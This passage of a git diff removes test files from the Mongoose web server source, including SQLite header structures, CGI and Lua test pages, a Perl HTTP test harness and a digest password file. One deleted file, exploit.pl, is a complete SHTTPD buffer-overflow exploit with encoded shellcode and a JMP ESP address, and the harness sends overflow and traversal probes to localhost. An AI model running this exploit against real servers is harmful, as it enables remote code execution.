is SQLITE_INTEGER */ - } u; - u8 eType; /* SQLITE_NULL, SQLITE_INTEGER ... etc. */ - int nByte; /* Size in byte of text or blob. */ - tRowcnt nEq; /* Est. number of rows where the key equals this sample */ - tRowcnt nLt; /* Est. number of rows where key is less than this sample */ - tRowcnt nDLt; /* Est. number of distinct keys less than this sample */ -}; - -/* -** Each token coming out of the lexer is an instance of -** this structure. Tokens are also used as part of an expression. -** -** Note if Token.z==0 then Token.dyn and Token.n are undefined and -** may contain random values. Do not make any assumptions about Token.dyn -** and Token.n when Token.z==0. -*/ -struct Token { - const char *z; /* Text of the token. Not NULL-terminated! */ - unsigned int n; /* Number of characters in this token */ -}; - -/* -** An instance of this structure contains information needed to generate -** code for a SELECT that contains aggregate functions. -** -** If Expr.op==TK_AGG_COLUMN or TK_AGG_FUNCTION then Expr.pAggInfo is a -** pointer to this structure. The Expr.iColumn field is the index in -** AggInfo.aCol[] or AggInfo.aFunc[] of information needed to generate -** code for that node. -** -** AggInfo.pGroupBy and AggInfo.aFunc.pExpr point to fields within the -** original Select structure that describes the SELECT statement. These -** fields do not need to be freed when deallocating the AggInfo structure. -*/ -struct AggInfo { - u8 directMode; /* Direct rendering mode means take data directly - ** from source tables rather than from accumulators */ - u8 useSortingIdx; /* In direct mode, reference the sorting index rather - ** than the source table */ - int sortingIdx; /* Cursor number of the sorting index */ - int sortingIdxPTab; /* Cursor number of pseudo-table */ - int nSortingColumn; /* Number of columns in the sorting index */ - ExprList *pGroupBy; /* The group by clause */ - struct AggInfo_col { /* For each column used in source tables */ - Table *pTab; /* Source table */ - int iTable; /* Cursor number of the source table */ - int iColumn; /* Column number within the source table */ - int iSorterColumn; /* Column number in the sorting index */ - int iMem; /* Memory location that acts as accumulator */ - Expr *pExpr; /* The original expression */ - } *aCol; - int nColumn; /* Number of used entries in aCol[] */ - int nAccumulator; /* Number of columns that show through to the output. - ** Additional columns are used only as parameters to - ** aggregate functions */ - struct AggInfo_func { /* For each aggregate function */ - Expr *pExpr; /* Expression encoding the function */ - FuncDef *pFunc; /* The aggregate function implementation */ - int iMem; /* Memory location that acts as accumulator */ - int iDistinct; /* Ephemeral table used to enforce DISTINCT */ - } *aFunc; - int nFunc; /* Number of entries in aFunc[] */ -}; - -/* -** The datatype ynVar is a signed integer, either 16-bit or 32-bit. -** Usually it is 16-bits. But if SQLITE_MAX_VARIABLE_NUMBER is greater -** than 32767 we have to make it 32-bit. 16-bit is preferred because -** it uses less memory in the Expr object, which is a big memory user -** in systems with lots of prepared statements. And few applications -** need more than about 10 or 20 variables. But some extreme users want -** to have prepared statements with over 32767 variables, and for them -** the option is available (at compile-time). -*/ -#if SQLITE_MAX_VARIABLE_NUMBER<=32767 -typedef i16 ynVar; -#else -typedef int ynVar; -#endif - -/* -** Each node of an expression in the parse tree is an instance -** of this structure. -** -** Expr.op is the opcode. The integer parser token codes are reused -** as opcodes here. For example, the parser defines TK_GE to be an integer -** code representing the ">=" operator. This same integer code is reused -** to represent the greater-than-or-equal-to operator in the expression -** tree. -** -** If the expression is an SQL literal (TK_INTEGER, TK_FLOAT, TK_BLOB, -** or TK_STRING), then Expr.token contains the text of the SQL literal. If -** the expression is a variable (TK_VARIABLE), then Expr.token contains the -** variable name. Finally, if the expression is an SQL function (TK_FUNCTION), -** then Expr.token contains the name of the function. -** -** Expr.pRight and Expr.pLeft are the left and right subexpressions of a -** binary operator. Either or both may be NULL. -** -** Expr.x.pList is a list of arguments if the expression is an SQL function, -** a CASE expression or an IN expression of the form " IN (, ...)". -** Expr.x.pSelect is used if the expression is a sub-select or an expression of -** the form " IN (SELECT ...)". If the EP_xIsSelect bit is set in the -** Expr.flags mask, then Expr.x.pSelect is valid. Otherwise, Expr.x.pList is -** valid. -** -** An expression of the form ID or ID.ID refers to a column in a table. -** For such expressions, Expr.op is set to TK_COLUMN and Expr.iTable is -** the integer cursor number of a VDBE cursor pointing to that table and -** Expr.iColumn is the column number for the specific column. If the -** expression is used as a result in an aggregate SELECT, then the -** value is also stored in the Expr.iAgg column in the aggregate so that -** it can be accessed after all aggregates are computed. -** -** If the expression is an unbound variable marker (a question mark -** character '?' in the original SQL) then the Expr.iTable holds the index -** number for that variable. -** -** If the expression is a subquery then Expr.iColumn holds an integer -** register number containing the result of the subquery. If the -** subquery gives a constant result, then iTable is -1. If the subquery -** gives a different answer at different times during statement processing -** then iTable is the address of a subroutine that computes the subquery. -** -** If the Expr is of type OP_Column, and the table it is selecting from -** is a disk table or the "old.*" pseudo-table, then pTab points to the -** corresponding table definition. -** -** ALLOCATION NOTES: -** -** Expr objects can use a lot of memory space in database schema. To -** help reduce memory requirements, sometimes an Expr object will be -** truncated. And to reduce the number of memory allocations, sometimes -** two or more Expr objects will be stored in a single memory allocation, -** together with Expr.zToken strings. -** -** If the EP_Reduced and EP_TokenOnly flags are set when -** an Expr object is truncated. When EP_Reduced is set, then all -** the child Expr objects in the Expr.pLeft and Expr.pRight subtrees -** are contained within the same memory allocation. Note, however, that -** the subtrees in Expr.x.pList or Expr.x.pSelect are always separately -** allocated, regardless of whether or not EP_Reduced is set. -*/ -struct Expr { - u8 op; /* Operation performed by this node */ - char affinity; /* The affinity of the column or 0 if not a column */ - u16 flags; /* Various flags. EP_* See below */ - union { - char *zToken; /* Token value. Zero terminated and dequoted */ - int iValue; /* Non-negative integer value if EP_IntValue */ - } u; - - /* If the EP_TokenOnly flag is set in the Expr.flags mask, then no - ** space is allocated for the fields below this point. An attempt to - ** access them will result in a segfault or malfunction. - *********************************************************************/ - - Expr *pLeft; /* Left subnode */ - Expr *pRight; /* Right subnode */ - union { - ExprList *pList; /* Function arguments or in " IN ( IN ( - - - - -
- - -
-EOP - -#system('some shit'); - -print $stuff; diff --git a/build/test/exploit.pl b/build/test/exploit.pl deleted file mode 100644 index 20670898..00000000 --- a/build/test/exploit.pl +++ /dev/null @@ -1,69 +0,0 @@ -#!/usr/bin/perl -w - -# SHTTPD Buffer Overflow (POST) -# Tested on SHTTPD 1.34 WinXP SP1 Hebrew -# http://shttpd.sourceforge.net -# Codded By SkOd, 05/10/2006 -# ISRAEL -# -# details: -# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C -# EBX 00000004 , EIP 41414141 , EBP 41414141 -# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST" -# ESP 009EFC08 ASCII 41,"AA...AAA" - - -use IO::Socket; - -sub fail(){ -syswrite STDOUT, "[-]Connect failed.\n"; -exit; -} - -sub header() -{ -print("##################################\n"); -print("SHTTPD (POST) Buffer Overflow.\n"); -print("[http://shttpd.sourceforge.net]\n"); -print("Codded By SkOd, 05/10/2006\n"); -print("##################################\n"); -} - -if (@ARGV < 1) -{ - &header(); - print("Usage: Perl shttpd.pl [host]\n"); - exit; -} - -&header(); -$host=$ARGV[0]; -$port="80"; -$host=~ s/(http:\/\/)//eg; - -#win32_exec- CMD=calc Size=160 (metasploit.com) -$shell = -"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52". -"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5". -"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9". -"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed". -"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86". -"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4". -"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b". -"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88". -"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0"; - - -$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew) -$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245 - -print length($buff) . "\n"; - -$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail(); - syswrite STDOUT,"[+]Connected.\n"; - print $sock "POST /$buff HTTP/1.1\n"; - print $sock "HOST:$host\n\n"; - syswrite STDOUT,"[+]Done.\n"; -close($sock); - -# milw0rm.com [2006-10-05] diff --git a/build/test/hello.cgi b/build/test/hello.cgi deleted file mode 100755 index 6a288d2f..00000000 --- a/build/test/hello.cgi +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/sh - -echo "Content-Type: text/plain" -echo - -echo $QUERY_STRING diff --git a/build/test/hello.txt b/build/test/hello.txt deleted file mode 100644 index 7feddbfe..00000000 --- a/build/test/hello.txt +++ /dev/null @@ -1 +0,0 @@ -simple text file diff --git a/build/test/new.mg.lua b/build/test/new.mg.lua deleted file mode 100644 index 74670e65..00000000 --- a/build/test/new.mg.lua +++ /dev/null @@ -1,43 +0,0 @@ -mg.write('HTTP/1.0 200 OK\r\n', 'Content-Type: text/plain\r\n', '\r\n') -mg.write(os.date("%A")) - --- for k,v in pairs(_G) do mg.write(k, '\n') end - --- Open database -local db = sqlite3.open('requests.db') - --- Setup a trace callback, to show SQL statements we'll be executing. --- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil) - --- Create a table if it is not created already -db:exec([[ - CREATE TABLE IF NOT EXISTS requests ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - timestamp NOT NULL, - method NOT NULL, - uri NOT NULL, - addr - ); -]]) - - --- Add entry about this request -local stmt = db:prepare( - 'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);'); -stmt:bind_values(mg.request_info.request_method, - mg.request_info.uri, - mg.request_info.remote_port) -stmt:step() -stmt:finalize() - --- Show all previous records -mg.write('Previous requests:\n') -stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;') -while stmt:step() == sqlite3.ROW do - local v = stmt:get_values() - mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' ' - .. v[4] .. ' ' .. v[5] .. '\n') -end - --- Close database -db:close() diff --git a/build/test/page.lp b/build/test/page.lp deleted file mode 100644 index 5dbb474e..00000000 --- a/build/test/page.lp +++ /dev/null @@ -1,67 +0,0 @@ -HTTP/1.0 200 OK -Content-Type: text/html - - - - - - - - -

This is an example Lua server page served by -Mongoose web server. -Mongoose has Lua, Sqlite, and other functionality built in the binary. -This example page stores the request in the Sqlite database, and shows -all requests done previously.

-

Today is - -

-
-
- -This is an example on how to include files a-la SSI: -
- - diff --git a/build/test/passfile b/build/test/passfile deleted file mode 100644 index 58c313a7..00000000 --- a/build/test/passfile +++ /dev/null @@ -1,3 +0,0 @@ -guest:mydomain.com:485264dcc977a1925370b89d516a1477 -Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983 - diff --git a/build/test/sh.cgi b/build/test/sh.cgi deleted file mode 100755 index 0a4d1a1c..00000000 --- a/build/test/sh.cgi +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/sh - -echo "Content-Type: text/plain" -echo - -echo "This is shell script CGI." diff --git a/build/test/test.pl b/build/test/test.pl deleted file mode 100644 index 85bc203f..00000000 --- a/build/test/test.pl +++ /dev/null @@ -1,436 +0,0 @@ -#!/usr/bin/env perl -# This script is used to test Mongoose web server -# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $ - -use IO::Socket; -use File::Path; -use File::Basename; -use Cwd; -use strict; -use warnings; -#use diagnostics; - -sub on_windows { $^O =~ /win32/i; } - -my $port = 31295; -my $pid = undef; -my $num_requests; -my $dir_separator = on_windows() ? '\\' : '/'; -my $copy_cmd = on_windows() ? 'copy' : 'cp'; -my $test_dir_uri = "test_dir"; -my $root = './test'; -my $abs_root = Cwd::abs_path(dirname($0) . $dir_separator); -my $test_dir = $abs_root . $dir_separator. $test_dir_uri; -#print "$test_dir\n"; exit 0; -my $config = 'mongoose.conf'; -my $exe_ext = on_windows() ? '.exe' : ''; -my $mongoose_exe = '.' . $dir_separator . 'mongoose' . $exe_ext; -my $embed_exe = '.' . $dir_separator . 'embed' . $exe_ext; -my $unit_test_exe = '.' . $dir_separator . 'unit_test' . $exe_ext; -my $exit_code = 0; - -my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt", - "$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a", - "$root/myperl", $embed_exe, $unit_test_exe); - -END { - #system('cat access.log'); - unlink @files_to_delete; - kill_spawned_child(); - File::Path::rmtree($test_dir); - exit $exit_code; -} - -sub fail { - print "FAILED: @_\n"; - $exit_code = 1; - exit 1; -} - -sub get_num_of_log_entries { - open FD, "access.log" or return 0; - my @lines = (); - close FD; - return scalar @lines; -} - -# Send the request to the 127.0.0.1:$port and return the reply -sub req { - my ($request, $inc, $timeout) = @_; - my $sock = IO::Socket::INET->new(Proto => 6, - PeerAddr => '127.0.0.1', PeerPort => $port); - fail("Cannot connect to http://127.0.0.1:$port : $!") unless $sock; - $sock->autoflush(1); - foreach my $byte (split //, $request) { - last unless print $sock $byte; - select undef, undef, undef, .001 if length($request) < 256; - } - my ($out, $buf) = ('', ''); - eval { - alarm $timeout if $timeout; - $out .= $buf while ((sysread($sock, $buf, 1024) or 0) > 0); - alarm 0 if $timeout; - }; - close $sock; - - $num_requests += defined($inc) ? $inc : 1; - my $num_logs = get_num_of_log_entries(); - - unless ($num_requests == $num_logs) { - fail("Request has not been logged: [$request], output: [$out]"); - } - - return $out; -} - -# Send the request. Compare with the expected reply. Fail if no match -sub o { - my ($request, $expected_reply, $message, $num_logs) = @_; - print "==> $message ... "; - my $reply = req($request, $num_logs); - if ($reply =~ /$expected_reply/s) { - print "OK\n"; - } else { -#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]"); - fail("Expected: [$expected_reply], got: [$reply]"); - } -} - -# Spawn a server listening on specified port -sub spawn { - my ($cmdline) = @_; - print 'Executing: ', @_, "\n"; - if (on_windows()) { - my @args = split /\s+/, $cmdline; - my $executable = $args[0]; - Win32::Spawn($executable, $cmdline, $pid); - die "Cannot spawn @_: $!" unless $pid; - } else { - unless ($pid = fork()) { - exec $cmdline; - die "cannot exec [$cmdline]: $!\n"; - } - } - sleep 1; -} - -sub write_file { - open FD, ">$_[0]" or fail "Cannot open $_[0]: $!"; - binmode FD; - print FD $_[1]; - close FD; -} - -sub read_file { - open FD, $_[0] or fail "Cannot open $_[0]: $!"; - my @lines = ; - close FD; - return join '', @lines; -} - -sub kill_spawned_child { - if (defined($pid)) { - kill(9, $pid); - waitpid($pid, 0); - } -} - -####################################################### ENTRY POINT - -unlink @files_to_delete; -$SIG{PIPE} = 'IGNORE'; -$SIG{ALRM} = sub { die "timeout\n" }; -#local $| =1; - -# Make sure we export only symbols that start with "mg_", and keep local -# symbols static. -if ($^O =~ /darwin|bsd|linux/) { - my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`; - foreach (split /\n/, $out) { - /T\s+_?mg_.+/ or fail("Exported symbol $_") - } -} - -# Make sure we load config file if no options are given. -# Command line options override config files settings -write_file($config, "access_log_file access.log\n" . - "document_root $root\n" . - "listening_port 127.0.0.1:23164\n"); -spawn("$mongoose_exe -listening_port 127.0.0.1:$port"); -o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file'); -kill_spawned_child(); - -# "-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " . -# "-enable_keep_alive yes ". - -# Spawn the server on port $port -my $cmd = "$mongoose_exe ". - "-listening_port 127.0.0.1:$port ". - "-access_log_file access.log ". - "-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " . - "-dav_auth_file $abs_root/passfile " . - '-access_control_list -0.0.0.0/0,+127.0.0.1 ' . - "-document_root $root ". - "-hide_files_patterns **exploit.PL ". - "-url_rewrites /aiased=/etc/,/ta=$test_dir"; -$cmd .= ' -cgi_interpreter perl' if on_windows(); -spawn($cmd); - -o("GET /dir%20with%20spaces/桌面/ HTTP/1.0\r\n\r\n", 'куку!', - 'Non-ascii chars in path'); -o("GET /hello.txt HTTP/1.1\nConnection: close\nRange: bytes=3-50\r\n\r\n", - 'Content-Length: 15\s', 'Range past the file end'); -o("GET /hello.txt HTTP/1.1\nContent-Length: 0\n\n ". - "GET /hello.txt HTTP/1.0\nContent-Length: 0\n\n", - 'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close', - 'Request pipelining', 2); - -my $x = 'x=' . 'A' x (200 * 1024); -my $len = length($x); -o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x", - '^HTTP/1.1 200 OK', 'Long POST'); - -# Try to overflow: Send very long request -req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one - -o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file'); -o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n", - 'HTTP/1.1 200 OK', 'Negative content length'); -o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s', - 'GET regular file Content-Length'); -o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n", - 'HTTP/1.1 200 OK', 'URL-decoding'); - -# '+' in URI must not be URL-decoded to space -write_file("$root/a+.txt", ':-)'); -o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI'); - -# Break CGI reading after 1 second. We must get full output. -# Since CGI script does sleep, we sleep as well and increase request count -# manually. -my $slow_cgi_reply; -print "==> Slow CGI output ... "; -fail('Slow CGI output forward reply=', $slow_cgi_reply) unless - ($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s; -print "OK\n"; -sleep 2; -#$num_requests++; - -# Test HTTP version parsing -o("GET / HTTPX/1.0\r\n\r\n", '^HTTP/1.1 400', 'Bad HTTP Version', 0); -o("GET / HTTP/x.1\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP maj Version', 1); -o("GET / HTTP/1.1z\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP min Version', 1); -o("GET / HTTP/02.0\r\n\r\n", '^HTTP/1.1 505', 'HTTP Version >1.1', 1); - -# File with leading single dot -o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1'); -o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2'); -o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3') - if on_windows(); -o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0); - -mkdir $test_dir unless -d $test_dir; -o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n", - 'HTTP/1.1 404', 'PATH_INFO loop problem'); -o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection'); -o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing'); -write_file("$test_dir/index.html", "tralala"); -o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution'); -o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name'); -o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases'); -o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file'); -mkdir $test_dir . $dir_separator . 'x'; -my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi'; -write_file($path, read_file($root . $dir_separator . 'env.cgi')); -chmod(0755, $path); -o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n", - 'index.cgi execution'); - -o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", - "SCRIPT_FILENAME=$test_dir/x/index.cgi", 'SCRIPT_FILENAME'); -o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi", - 'Aliases SCRIPT_NAME'); -o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close', - 'No keep-alive'); - -$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi'; -system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl"); -write_file($path, "#!../../myperl\n" . - "print \"Content-Type: text/plain\\n\\nhi\";"); -chmod(0755, $path); -o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path'); -o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI'); - -my $mime_types = { - html => 'text/html', - htm => 'text/html', - txt => 'text/plain', - unknown_extension => 'text/plain', - js => 'application/x-javascript', - css => 'text/css', - jpg => 'image/jpeg', - c => 'text/plain', - 'tar.gz' => 'blah', - bar => 'foo/bar', - baz => 'foo', -}; - -foreach my $key (keys %$mime_types) { - my $filename = "_mime_file_test.$key"; - write_file("$root/$filename", ''); - o("GET /$filename HTTP/1.0\n\n", - "Content-Type: $mime_types->{$key}", ".$key mime type"); - unlink "$root/$filename"; -} - -# Get binary file and check the integrity -my $binary_file = 'binary_file'; -my $f2 = ''; -foreach (0..123456) { $f2 .= chr(int(rand() * 255)); } -write_file("$root/$binary_file", $f2); -my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n"); -while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// } -$f1 eq $f2 or fail("Integrity check for downloaded binary file"); - -my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n". -"Range: bytes=3-5\r\n\r\n"; -o($range_request, '206 Partial Content', 'Range: 206 status code'); -o($range_request, 'Content-Length: 3\s', 'Range: Content-Length'); -o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range'); -o($range_request, '\nple$', 'Range: body content'); - -# Test directory sorting. Sleep between file creation for 1.1 seconds, -# to make sure modification time are different. -mkdir "$test_dir/sort"; -write_file("$test_dir/sort/11", 'xx'); -select undef, undef, undef, 1.1; -write_file("$test_dir/sort/aa", 'xxxx'); -select undef, undef, undef, 1.1; -write_file("$test_dir/sort/bb", 'xxx'); -select undef, undef, undef, 1.1; -write_file("$test_dir/sort/22", 'x'); - -o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n", - '200 OK.+>11<.+>22<.+>aa<.+>bb<', - 'Directory listing (name, ascending)'); -o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n", - '200 OK.+>bb<.+>aa<.+>22<.+>11<', - 'Directory listing (name, descending)'); -o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n", - '200 OK.+>22<.+>11<.+>bb<.+>aa<', - 'Directory listing (size, ascending)'); -o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n", - '200 OK.+>aa<.+>bb<.+>11<.+>22<', - 'Directory listing (size, descending)'); -o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n", - '200 OK.+>11<.+>aa<.+>bb<.+>22<', - 'Directory listing (modification time, ascending)'); -o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n", - '200 OK.+>22<.+>bb<.+>aa<.+>11<', - 'Directory listing (modification time, descending)'); - -unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") { - # Check that .htpasswd file existence trigger authorization - write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f'); - o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized', - '.htpasswd - triggering auth on file request'); - o("GET / HTTP/1.1\n\n", '401 Unauthorized', - '.htpasswd - triggering auth on directory request'); - - # Test various funky things in an authentication header. - o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n", - '401 Unauthorized', 'weird auth values should not cause crashes'); - my $auth_header = "Digest username=\"user with space, \\\" and comma\", ". - "realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",". - "response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\""; - # TODO(lsm): re-enable auth checks - unlink "$root/.htpasswd"; - - o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth'); - o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$', - '.htpasswd is hidden from the directory list'); - o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$', - 'hidden file is hidden from the directory list'); - o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n", - '^HTTP/1.1 404 ', '.htpasswd must not be shown'); - o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n", - '^HTTP/1.1 404', 'hidden files must not be shown'); - - - o("GET /dir%20with%20spaces/hello.cgi HTTP/1.0\n\r\n", - 'HTTP/1.1 200 OK.+hello', 'CGI script with spaces in path'); - o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file'); - o("GET /bad2.cgi HTTP/1.0\n\n", "^HTTP/1.1 302", 'CGI Status code'); - o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI', - 'GET sh CGI file') unless on_windows(); - o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO', - 'QUERY_STRING wrong'); - o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO", - 'var=HELLO', 'CGI POST wrong'); - o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO", - '\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI'); - o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n", - 'HTTP_MY_HDR=abc', 'HTTP_* env'); - o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE", - 'HTTP/1.1 200 OK', 'GET CGI with trailing data'); - - o("GET /env.cgi%20 HTTP/1.0\n\r\n", - 'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)'); - o("GET /env.cgi%ff HTTP/1.0\n\r\n", - 'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)'); - o("GET /env.cgi%2e HTTP/1.0\n\r\n", - 'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)'); - o("GET /env.cgi%2b HTTP/1.0\n\r\n", - 'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)'); - o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS'); - o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO'); - o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO'); - o("GET /env.cgi/foo/bar?a=b HTTP/1.0\n\n", - 'SCRIPT_NAME=/env.cgi\s', 'SCRIPT_NAME for CGI with PATH_INFO'); - - # Check that CGI's current directory is set to script's directory - my $copy_cmd = on_windows() ? 'copy' : 'cp'; - system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" . - $dir_separator . 'env.cgi'); - o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n", - "CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()"); - - # Manipulate the passwords file - my $path = 'test_htpasswd'; - unlink $path; - system("$mongoose_exe -A $path a b c") == 0 - or fail("Cannot add user in a passwd file"); - system("$mongoose_exe -A $path a b c2") == 0 - or fail("Cannot edit user in a passwd file"); - my $content = read_file($path); - $content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file"); - unlink $path; - - do_PUT_test(); - kill_spawned_child(); -} - -sub do_PUT_test { - # This only works because mongoose currently doesn't look at the nonce. - # It should really be rejected... - my $auth_header = "Authorization: Digest username=guest, ". - "realm=mydomain.com, nonce=1145872809, uri=/put.txt, ". - "response=896327350763836180c61d87578037d9, qop=auth, ". - "nc=00000002, cnonce=53eddd3be4e26a98\n"; - - o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567", - "HTTP/1.1 201 OK", 'PUT file, status 201'); - fail("PUT content mismatch") - unless read_file("$root/a/put.txt") eq '1234567'; - o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd", - "HTTP/1.1 200 OK", 'PUT file, status 200'); - fail("PUT content mismatch") - unless read_file("$root/a/put.txt") eq 'abcd'; - o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd", - "HTTP/1.1 411 Length Required", 'PUT 411 error'); - o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n". - "$auth_header\nabcd", - "HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue'); -} - -print "SUCCESS! All tests passed.\n"; diff --git a/build/test/timeout.cgi b/build/test/timeout.cgi deleted file mode 100755 index 32482056..00000000 --- a/build/test/timeout.cgi +++ /dev/null @@ -1,12 +0,0 @@ -#!/usr/bin/env perl - -# Make stdout unbuffered -use FileHandle; -STDOUT->autoflush(1); - -# This script outputs some content, then sleeps for 5 seconds, then exits. -# Web server should return the content immediately after it is sent, -# not waiting until the script exits. -print "Content-Type: text/html\r\n\r\n"; -print "Some data"; -sleep 3; diff --git a/build/test/unit_test.c b/build/test/unit_test.c deleted file mode 100644 index d30f5796..00000000 --- a/build/test/unit_test.c +++ /dev/null @@ -1,514 +0,0 @@ -// Unit test for the mongoose web server. - -#define USE_WEBSOCKET -#define USE_LUA - -#ifndef _WIN32 -#define USE_IPV6 -#include // For gethostbyname() -#endif - -// USE_* definitions must be made before #include "mongoose.c" ! -#include "../mongoose.c" - -#define 